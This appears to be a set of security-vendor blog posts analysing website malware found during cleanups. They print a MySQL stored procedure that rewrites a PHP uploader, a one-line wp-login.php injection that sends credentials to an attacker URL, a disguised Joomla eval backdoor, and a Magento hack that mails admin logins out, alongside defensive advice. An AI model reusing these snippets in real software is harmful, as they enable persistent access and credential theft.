Author: Douglas Santos

Nowadays, the most common issues with database injections are related to SPAM. Brian Krebs has a book called Spam Nation, that gives us a more in depth understanding of the economic aspects of such issues and how big they actually are. Thanks Ben Martin for letting me know about this book.

During an incident response of a database infection, we noticed an unusual technique - the malicious code had been added into a stored procedure.

DROP PROCEDURE IF EXISTS `p`;

CREATE PROCEDURE p()
BEGIN
 DROP TABLE IF EXISTS `foo`;
 CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
 INSERT INTO `foo` VALUES ("
");
 SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE '/home/username/public_html/wp-includes/class-wp-change.php';
 DROP TABLE IF EXISTS `foo`;
END;;

When the stored procedure was executed, a new table called "foo" was created with a malicious PHP Uploader content in it. Then, the malware was saved onto the file ‘wp-includes/class-wp-change.php’. Simple and elegant.

The problem here is that you can easily find and remove the file ‘class-wp-change.php’ as it’s located within a WordPress core directory. However, the stored procedure in the database would recreate the file every single time and that’s very easy to miss unless you have the habit of checking stored procedures on your database.

Most of the time, attackers will inject malware into different parts of your system to maintain access to the compromised website, even if the obvious backdoor is removed. That’s why simply removing those easy to spot malicious files may not solve the case.

If you need professional help on getting the issues fixed, we’d be happy to assist you!

From the hacker’s perspective, maintaining access to a compromised website for as long as possible, is ideal. One way to achieve this goal, is by stealing user’s credentials. This method also could provide the chance to spread the attack across other platforms, in case the user has the same password on other services, like email for example.

Once the attackers inject the code into the site, they must send the stolen data somewhere. It could be either stored on a local file, or sent remotely to an email address or another server.

During an Incident response investigation, we identified such malicious codes sending the credentials to a remote website controlled by the attacker. This code was very interesting because it didn’t use the regular methods, like the mail() function, or creating a curl request. Instead, attackers used file_get_contents().

The following snippet was found inside the wp-login.php file:

...if ( !is_wp_error($user) && !$reauth ) {    file_get_contents(base64_decode('aHh4cDovvL2luZm<REMOVED CONTENT>/dXJsPQ==')   .$_SERVER['HTTP_HOST'].'&user='.$_POST['log'].'&pwd='.$_POST['pwd']);    if ( $interim_login ) {...

The malicious code is just one line long making it difficult to spot by the untrained eye on a complex file like wp-login.php. The base64 encoded string is translated to "hxxp://infected-site.com/getpwd.php?url=", the hacker-controlled site.

The ‘wp-login.php’ is a WordPress core file and it shouldn’t have any modification from its original version (unless the WordPress provides an official update to it).

Using a File Integrity Monitoring System may help you on detecting these modifications and take all the necessary actions to prevent further damage to your website online presence. We also recommend having a Website Firewall Application in place to prevent brute force and unauthorized access to your back-end interface.

In order to avoid detection and maintain access to compromised websites, attackers use different techniques to hide their malicious code.

During our cleanup investigation we identified an interesting malicious code that pretended to be a legit Joomla core file. In this particular case the attackers based their malware on the libraries/application/application.php file from the 1.5.26 version.

The malware acts like a regular backdoor, allowing arbitrary command execution on affected websites.

Here is a snippet of the code that reveals the backdoor:

...class JApplication{...function __construct($config = array())  {    ...    $this->_config = $config;    if(isset($_POST[$config['UID']])) {   $session = $this->parseSession($_POST[$config['UID']]);    } else if (isset($_GET[$config['UID']])) {   $session = $this->parseSession($_GET[$config['UID']]);    } else if (isset($_COOKIE[$config['UID']])) { $session = $this->parseSession($_COOKIE[$config['UID']]);    }     $this->sessionStart($session);  }...function sessionStart($session) {  if(!empty($session))    return       eval($session);}...}new JApplication(array ('UID' => 'UV0I82'));

What this code does is modifies the JApplication constructor to execute arbitrary PHP code passed in the UV0I82, parameter of POST or GET requests, or in the UV0I82 cookie. To make the backdoor functionality less prominent, hackers use two additional helper methods of the JAppication class: parseSession and sessionStart. Their names look benign and make sense in the context of starting a new Joomla session. However when you check the code of those methods, you’ll see that parseSession hides the base64 decoder and sessionStart is just a wrapper around the eval function. Since this backdoor file is not part of Joomla, it creates the JApplication object itself (the last line of the above snippet) passing the name of the request parameter that contains the malicious PHP code, which invokes the backdoor functionality.

The backdoor is being used on Joomla compromised websites in order to remain hidden, as the entire code is created to pretend to be a real Joomla core file. Untrained eyes can easily miss this backdoor.

These type of injections blend in with good code, which makes it harder to detect it. If you have a file integrity monitoring tool in place or similar security mechanism you should be able to easily identify and fix the issue. We also recommend regular backups so that you could restore your website if something happens. You can also count on us whenever you need a professional malware removal service.

SEO spam is very common for a reason -- money. Spammers are paid to promote websites on Google. We deal with lots of SEO spam cases daily. The most common cases are database infections, theme file infections and random spammy html pages. However, few days ago we found an interesting variation: a whole CMS specially configured and used to load spam on a website.

The client asked to help resolve spam issues in Google search results for their website. It was pretty clear that the doorways were still online when we began the analysis so we quickly pinpointed the source of the spam. The hackers created a directory where they installed a version of the MiniCMS application and populated it with spammy content.

MiniCMS is a legitimate minimalist content management system, that does not use database. To store posts and settings, it uses normal files (dat files for posts), which makes it very easy to install virtually on any server that supports PHP. In this case, there were lots of spam dat files.

This case proves that some site owners don’t realize that they provide domain and free hosting to spammers until they get blacklisted or penalized by Google. This is why it is important to monitor your website for all sorts of anomalies. So keep an eye on Google search results for your site, Search Console reports that may mention suspicious URLs or keywords on your site. You might even what to set up Google Alerts for common spammy keywords on your site. Regular internal and external security scans (for example, provided by our Website Monitoring Service) can help detect the problem even faster.

While analyzing a compromised Magento site, we found another Credit Card (CC) stealer variation. We posted a few times about this type of malware, but this one is a bit different in a way that it also steals the login credentials for the website users. All the ones we analyzed before never had such behaviour.

The malicious code was found inside the app/code/core/Mage/Admin/Model/Session.php file and emails to XXX@XXX.com every login and password:

class Mage_Admin_Model_Session extends Mage_Core_Model_Session_Abstract
{
    ...skipped code...
    protected function testReview($username, $password, $email)
    {
        $to = 'removed@removed.dom';
        $subject = 'Webserver';
        $message = $username.'|'.$pssword.'|'.$email.'|'.$_SERVER['REQUEST_URI'];
        $headers = 'From: removed@removed.dom' . "\r\n" .
            'Reply-To: removed@removed.dom' . "\r\n" .
            'X-Mailer: PHP/' . phpversion();

        mail($to, $subject, $message, $headers);
    }
    ...skipped code...
    public function login($username, $password, $request = null) {
    ...skipped code...
    if ($user->getId()) {
                $this->testReview($username, $password, $user->getEmail());
                $this->renewSession();
                ...skipped code...
...skipped code...

This is the first time we see a malware on Magento that actually steals credentials alongside with credit card numbers. If you\'re using Magento as e-commerce solution, always check your core files for any modified content, and do regular scans. As always, if you need a professional service for your website, you can count on Sucuri.